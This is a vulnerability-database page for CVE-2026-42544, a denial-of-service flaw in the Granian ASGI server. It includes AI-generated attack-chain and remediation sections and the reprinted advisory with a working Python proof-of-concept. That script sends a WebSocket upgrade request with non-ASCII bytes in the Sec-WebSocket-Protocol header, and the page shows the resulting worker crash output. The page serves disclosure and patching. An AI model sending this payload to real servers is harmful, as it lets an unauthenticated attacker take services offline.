Skip to main content

Granian CVE-2026-42544

HIGH
Improper Input Validation (CWE-20)
2026-05-06 https://github.com/emmett-framework/granian GHSA-vrg7-482j-p6f6
7.5
CVSS 3.1 · Vendor: https://github.com/emmett-framework/granian
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Establish TCP connection to Granian server
  2. Delivery
    Send crafted WebSocket upgrade with non-ASCII Sec-WebSocket-Protocol header
  3. Exploit
    Trigger Rust panic in HeaderValue parsing
  4. Execution
    Worker process aborts before ASGI dispatch
  5. Persist
    Repeat across remaining workers
  6. Impact
    Complete service unavailability

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Requires network access to any HTTP endpoint served by Granian versions 1.2.0 through 2.7.3, regardless of application-level authentication, routing configuration, or middleware stack. The vulnerability triggers during WebSocket upgrade request parsing in Granian's Rust core before ASGI application invocation, bypassing all Python-layer defenses. Attack succeeds against default Granian configurations without requiring any specific feature enablement. Exploitation is NOT limited by: application authentication mechanisms, URL path restrictions, CORS policies, rate limiting middleware, or WebSocket-specific application logic. The only prerequisite is the ability to establish a TCP connection to the Granian server port and send a single malformed HTTP request. Worker process supervision (auto-restart policies) limits sustained impact duration but does not prevent the initial crash or repeated exploitation.

Impact

CVSS 7.5 (High) with AV:N/AC:L/PR:N/UI:N indicates trivial remote exploitation requiring no authentication or user interaction. However, real-world risk requires nuanced assessment. Attack complexity is genuinely low - the GitHub advisory provides working Python exploit code demonstrating single-packet service disruption. The unauthenticated network vector is confirmed by both CVSS and the explicit statement that 'application-level authentication or routing does not mitigate the issue.' No EPSS or KEV data provided, suggesting the vulnerability is newly disclosed without observed widespread exploitation. SSVC decision factors: exploitation status is proof-of-concept (POC exists), automatable is yes (simple network request), technical impact is partial (availability only). The 'one request per worker' attack model means impact scales with deployment architecture - single-worker deployments face complete outage from one request, while multi-worker deployments require sequential targeting but remain vulnerable to resource exhaustion. The pre-application attack surface eliminates common defense layers (WAF rules, application authentication, input validation middleware), elevating practical risk beyond typical DoS vulnerabilities. Priority is high for internet-facing Granian deployments, moderate for internal services with access controls at network perimeter.

Exploit ScenarioDerived

An unauthenticated attacker crafts a WebSocket upgrade HTTP request with a Sec-WebSocket-Protocol header containing non-ASCII bytes (e.g., \x80\xff). The attacker sends this request to any endpoint on a Granian server listening on a network-accessible port. Granian's Rust-layer WebSocket handshake parser attempts to convert the malformed header to a string, triggers a panic on the invalid UTF-8 sequence, and immediately aborts the worker process before the Python ASGI application receives the request. The attacker repeats this single-packet attack sequentially against each worker process (typically 2-8 workers per deployment), achieving complete service outage within seconds. Publicly available proof-of-concept code in the GitHub advisory demonstrates exploitation with a 10-line Python script requiring only standard library socket operations.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 06, 2026

Granian ASGI server suffers remote denial of service when unauthenticated attackers send malformed WebSocket upgrade requests containing non-ASCII bytes in the Sec-WebSocket-Protocol header, causing worker process termination. Each crafted request kills one worker process; sequential requests across all workers achieve complete service outage. The vulnerability exists in Granian's pre-application WebSocket scope construction (src/asgi/utils.rs), making application-layer defenses ineffective. Publicly available exploit code exists with complete proof-of-concept demonstrating the attack. Vendor-released patch 2.7.4 addresses the issue for affected versions 1.2.0 through 2.7.3.

RemediationAI

Upgrade to Granian version 2.7.4 or later, which implements proper error handling for malformed WebSocket headers without process termination. Execute pip install --upgrade granian==2.7.4 or update requirements.txt/pyproject.toml dependency specifications. For environments unable to upgrade immediately, implement compensating controls at the network perimeter: deploy a reverse proxy (nginx, Caddy, HAProxy) configured to validate WebSocket upgrade requests before forwarding to Granian, specifically rejecting Sec-WebSocket-Protocol headers containing non-ASCII bytes. Example nginx config: add lua-resty-http module to inspect and sanitize WebSocket headers in access phase. Trade-off: adds latency and operational complexity. Alternative mitigation is process-level supervision with automatic restart (systemd Restart=always, Docker restart policies, Kubernetes liveness probes) to restore crashed workers, though this only limits impact duration rather than preventing exploitation. Trade-off: service disruption still occurs during restart cycles, and rapid sequential attacks can overwhelm restart rate limits. Network-level rate limiting by source IP provides partial defense against distributed attacks but not single-source sequential worker targeting. Vendor advisory and patch details: https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6 and https://github.com/advisories/GHSA-vrg7-482j-p6f6.

Affected Packages

pypi granian fix: 2.7.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Granian is a Rust-based HTTP/WebSocket server for Python ASGI applications, competing with Uvicorn and Hypercorn in the async Python ecosystem. The vulnerability stems from improper input validation (CWE-20) in the Rust layer's WebSocket handshake processing. Specifically, the code attempts to convert HTTP header values to UTF-8 strings using HeaderValue::to_str(), which returns an error for bytes outside visible ASCII range. The subsequent .unwrap() call panics on this error, and because Granian's release builds configure panic = abort in Cargo.toml, the panic terminates the entire worker process rather than being caught as a recoverable error. This occurs during ASGI scope construction before request dispatch to the Python application layer, bypassing any application-level validation, authentication, or rate limiting. The affected package identifier is pkg:pip/granian, confirming distribution via Python Package Index.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/emmett-framework/granian) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Primary rating from Vendor (https://github.com/emmett-framework/granian) · only source for this CVE.

CVSS VectorVendor: https://github.com/emmett-framework/granian

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

python
# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})
bash
granian --interface asgi app:app --host 127.0.0.1 --port 8000
Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

python
# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))
bash
python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue

Executive ViewAI

Why It Matters

Granian ASGI server versions 1.2.0 through 2.7.3 are vulnerable to unauthenticated remote denial of service attacks via malformed WebSocket requests, allowing attackers to crash worker processes and achieve complete service outage. Organizations running affected versions face immediate risk of application unavailability without patching.

Business Impact: High
Compensating Controls

Vendor-released patch: Granian 2.7.4. If immediate patching is not feasible, implement network-level rate limiting on WebSocket upgrade requests and restrict WebSocket protocol access to trusted networks only. Application-layer defenses are ineffective for this vulnerability due to processing occurring before application code execution.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:pip/granian

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy